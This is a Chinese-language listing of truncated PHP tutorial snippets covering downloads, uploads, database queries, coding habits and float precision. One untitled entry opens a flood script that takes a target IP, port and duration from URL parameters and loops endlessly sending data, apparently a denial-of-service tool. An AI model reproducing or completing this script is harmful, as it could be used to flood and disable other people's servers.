Time of Update: 2017-02-28
<?php /** * PHP-HTTP斷點續傳實現 * @param string $path: 檔案所在路徑 * @param string $file: 檔案名稱 * @return void */ function download($path,$file) { $real = $path.'/'.$file; if(!file_exists($real)) { return false; } $size =
Time of Update: 2017-02-28
Google Voice並沒有提供官方API介面,但是實際上還是可以通過HTTP和XML請求的手段來實現。目前網上能夠找到的API最終大都是溯源到Chad Smith的這篇主題帖。 要通過Google Voice實現傳送簡訊,首先要登入到Google Voice帳號,然後取出頁面中的“_rnr_se”參數,最後把這個參數和對方手機號、簡訊內容POST到Google Voice SMS的地址即可。Tyler Hall曾經寫過一個Google
Time of Update: 2017-02-28
PHP通過ADO方式串連Access資料庫,如下代碼:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="htt
Time of Update: 2017-02-28
PHP查詢MySQL資料庫,並將結果分欄顯示,如下代碼:<html> <head> <?php session_start(); include("conn.php"); ?> <title>查詢結果的分欄顯示 - www.cxybl.com</title> </head> <body&g
Time of Update: 2017-02-28
PHP飛信通知天氣預報_API版 如果條件允許可以在伺服器上用計劃任務 每天在固定時間給自己或親人發送天氣預報 採用飛信官方web介面 有時可能由於伺服器速度問題可能造成發送不成功.屬於正常現象. /***************************************************************************/ /******************* PHP飛信通知天氣預報_API版 **************
Time of Update: 2017-02-28
PHP檔案瀏覽功能,如下代碼:<html> <head> <title>檔案瀏覽</title> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <style type="text/css">&nb
Time of Update: 2017-02-28
PHP遍曆指定檔案夾下的所有檔案,如下代碼:<?php session_start(); if($Submit=="提交"){ $shili=$file_dir; } ?> <html> <head> <meta http-equiv="Content-Type" content="
Time of Update: 2017-02-28
PHP通過Header()函數實現檔案下載,如下代碼:<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>應用header()函數實現下載 - www.cxybl.com</title>&nb
Time of Update: 2017-02-28
PHP上傳單張圖片到伺服器,如下代碼:<?php session_start(); include("conn.php");?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"&
Time of Update: 2017-02-28
PHP限制圖片上傳的格式,如下代碼:<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>限制上傳圖片的格式 - www.cxybl.com</title> <style&nbs
Time of Update: 2017-02-28
PHP限制檔案上傳類型,如下代碼:<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>限制上傳檔案的類型 - www.cxybl.com</title> <style 
Time of Update: 2017-02-28
$a = '212345678912000005'; $b = '212345678912000001'; var_dump($a == $b); 這段代碼的輸出是bool(true), 說明這樣判斷會得出結論是兩者相等. 類似的特性在in_array()函數第3個參數為false或者不設定的情況. 原因是首先判斷字串是否是數字, 然後轉換成long或者double(C語言資料類型)再判斷 – 使用zendi_smart_strcmp.
Time of Update: 2017-02-28
<?phpheader("charset='utf-8'");error_reporting(0);set_time_limit(0);ignore_user_abort(TRUE);$ip = $_GET['ip'];$port = $_GET['port'];$exec_time =time()+$_GET['time'];$byte = 0;$true = 1;while($true) {
Time of Update: 2017-02-28
關於如何使用PHP語言來開發應用程式,我們每個人都有自己的技巧和方法。實際上,我們大家都知道,有很多種方式和方法可以讓開發變得更加簡單。儘管如此,還是有一些方法,尤其是編碼樣式和習慣,是大家公認的。我們列舉出了5種可以改善PHP開發方式的方法。 組織和樣式 我們不應該輕視代碼的組織,選擇的編碼樣式應該是事先約定好的,許多人只是隨機的在做這些事情,這讓他們的代碼變得十分混亂,十分令人難以理解。 你可以在那裡宣稱自己是最好的開發人員,但是,如果你的代碼缺乏良好的組織,你是不
Time of Update: 2017-02-28
你是否在程式開發的過程中遇到以下的情況:當你花了很長的時間開發一個PHP應用後,你認為應該是大功告成了,可惜在調試的時候,老是不斷的發現bug,而且最可怕的是,這些bug是重複出現的,你可能發現這些bug之間會有關聯,但卻老是找不到問題的所在。 當你遇到以上這些令你沮喪的情況時,你一定會想能有什麼更好的辦法去解決呢?辦法當然是有的!這就是使用單元測試。單元測試不但可以在一定程度上解決上述頭疼的問題,而且能讓代碼變的容易維護,還可以能讓你更多地對代碼進行重構。 一旦你編寫好單元測試用例,當
Time of Update: 2017-02-28
我是一個PHP新手,只有6個月的PHP編程經曆,並且是在一位經過認證的zend工程師的指導下完成工作的,每當我編寫指令碼時,我會注意一些能讓我做得更好的細節,也就是本文列舉的這14個PHP編碼好習慣,如果你有更好的建議,歡迎在本文後面的評論中發表,我這個人是喜歡求知的。 1、使用select從相同的資料庫查詢資訊時,使用一個join語句一次性整齊地擷取你需要的所有資訊,而不要寫多個mysql_query/while/mysql_fetch_array語句。 2、如果你在多個檔案中調用了一
Time of Update: 2017-02-28
目前LAMP (Linux + Apache + MySQL + PHP) 近幾年來發展迅速,已經成為Web 服務器的事實標準。本文我們將介紹基於LAMP組合的伺服器的效能最佳化技巧:加速PHP。 Apache伺服器最佳化、PHP最佳化、Mysql最佳化 1.使用eaccelerator 我們上面的介紹Apache伺服器的最佳化,如果您曾經瀏覽過 PHP 的網頁時,或許會發現:怎麼 PHP 的速度慢慢的,這是怎麼一回事啊?PHP
Time of Update: 2017-02-28
多層數組和對象轉化的用途很簡單,便於處理WebService中多層數組和對象的轉化 簡單的(array)和(object)只能處理單層的資料,對於多層的數組和對象轉換則無能為力。 通過json_decode(json_encode($object)可以將對象一次性轉換為數組,但是object中遇到非utf-8編碼的非ascii字元則會出現問題,比如gbk的中文,何況json_encode和decode的效能也值得疑慮。 下面上代碼:<?php function
Time of Update: 2017-02-28
PHP中有四個包含檔案的函數:include(), include_once(), require()和require_once()。弄清楚他們的區別是學習PHP的基礎之一,可以避免不少寫代碼過程中產生的不必要的麻煩。 include() 1. 調用方式:include(“/path/to/filename”) 2. 說明:
Time of Update: 2017-02-28
你可能會覺得PHP中將浮點數(float)轉成字串非常簡單, 但是, 常用的方法隱藏著嚴重的bug. 因為, PHP在處理浮點數時有非常不合理的做法, 會有精度丟失. 經研究, 其實是PHP在顯示浮點數時的問題, 也可以說是BUG. PHP內建的echo, var_dump, json_encode, 字串拼接等函數(指令)在顯示浮點數時都有問題, 導致精度丟失. <?php $a = 1315537636.338467; printf("%f", $a)